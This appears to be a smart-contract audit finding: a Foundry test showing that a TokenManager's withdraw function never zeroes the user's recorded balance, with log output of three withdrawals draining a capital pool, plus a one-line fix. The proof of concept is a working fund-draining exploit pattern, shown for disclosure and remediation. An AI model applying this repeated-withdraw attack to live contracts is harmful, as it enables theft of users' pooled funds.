function test_withdraw_USDC() public {
deal(address(mockUSDCToken), address(capitalPool), 60);
capitalPool.approve(address(mockUSDCToken));
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(TokenBalanceType.PointToken, user3, address(mockUSDCToken), 20);
console2.log("before withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("before withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"before withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
vm.prank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("first withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("first withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"first withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
vm.prank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("seond withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("second withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"second withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
vm.prank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("third withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("third withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"third withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
}
before withdraw capitalPool: 60
before withdraw user3: 100000000000000000000000000
before withdraw user3 userTokenBalance: 20
first withdraw capitalPool: 40
first withdraw user3: 100000000000000000000000020
first withdraw user3 userTokenBalance: 20
seond withdraw capitalPool: 20
second withdraw user3: 100000000000000000000000040
second withdraw user3 userTokenBalance: 20
third withdraw capitalPool: 0
third withdraw user3: 100000000000000000000000060
third withdraw user3 userTokenBalance: 20
User can get money that doesn't belog to him.
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}